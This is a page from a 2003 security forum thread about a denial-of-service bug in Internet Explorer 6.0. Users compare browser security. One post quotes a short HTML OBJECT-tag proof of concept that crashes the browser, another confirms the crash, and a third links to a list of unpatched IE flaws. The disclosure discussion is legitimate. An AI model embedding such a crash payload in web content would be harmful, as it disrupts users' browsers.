Page 2 of 2 FirstFirst 12
Results 11 to 14 of 14

Thread: Exploit/DoS in MS Internet Explorer 6.0 (OBJECT Tag)

  1. April 17th, 2003, 05:44 PM #11
    the_JinX
    the_JinX is offline
    Leftie Linux Lover the_JinX's Avatar
    Join Date
    Nov 2001
    Location
    Beverwijk Netherlands
    Posts
    2,534
    Originally posted here by MsMittens
    As for browser security, I don't think one is more secure over the other. But I think IE gets "abused" more and more "falls out" in so far as bugs and such.
    Also it updates less frequently then OpenSource browsers like Mozilla and Konqueror..
    And since IE has a *cough*monopoly*cough* on the browser market, other browsers like Opera etc. do more to "prove" their worth..

    And YES the code works..
    ASCII stupid question, get a stupid ANSI.
    When in Russia, pet a PETSCII.
    Get your ass over to SLAYRadio the best station for C64 Remixes !
    Reply With Quote Reply With Quote
  2. April 17th, 2003, 05:55 PM #12
    tampabay420
    tampabay420 is offline
    Senior Member tampabay420's Avatar
    Join Date
    Aug 2002
    Posts
    953
    hey, some one on bugtraq just posted an example...
    http://www.sztolnia.pl/hack/TrivialI...alIECrash.html
    proof of concept?

    just tested it...

    Code:
    <object
 id=crash
 classid="clsid:00022613-0000-0000-C000-000000000046"
 width=1
 height=1
>
</object>
    yeah, I\'m gonna need that by friday...
    Reply With Quote Reply With Quote
  3. April 17th, 2003, 08:16 PM #13
    David Anasco
    David Anasco is offline
    Junior Member
    Join Date
    Apr 2003
    Posts
    22
    The fact the Galeon running on linux, and Mozilla, even the Window$ version, have their own built in pop-up window stoppers is enough reason for me to use these browsers exclusively. I also believe these browsers are more secure.
    Reply With Quote Reply With Quote
  4. April 17th, 2003, 09:01 PM #14
    noODle
    noODle is offline
    Banned
    Join Date
    Mar 2002
    Posts
    492
    I just verified this.
    Using Win2K and IE 6 all available updates.
    Right before the actual crash IE will take all CPU time.
    Then it crashes asking to send a bug report.

    If you are looking for more IE exploits pivx holds a list
    It can be found:
    http://www.pivx.com/larholm/unpatched/
    there.
    10 April 2003: There are currently 13 unpatched vulnerabilities
    .

    Cheers
    Reply With Quote Reply With Quote
« Previous Thread | Next Thread »

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  

Forum Rules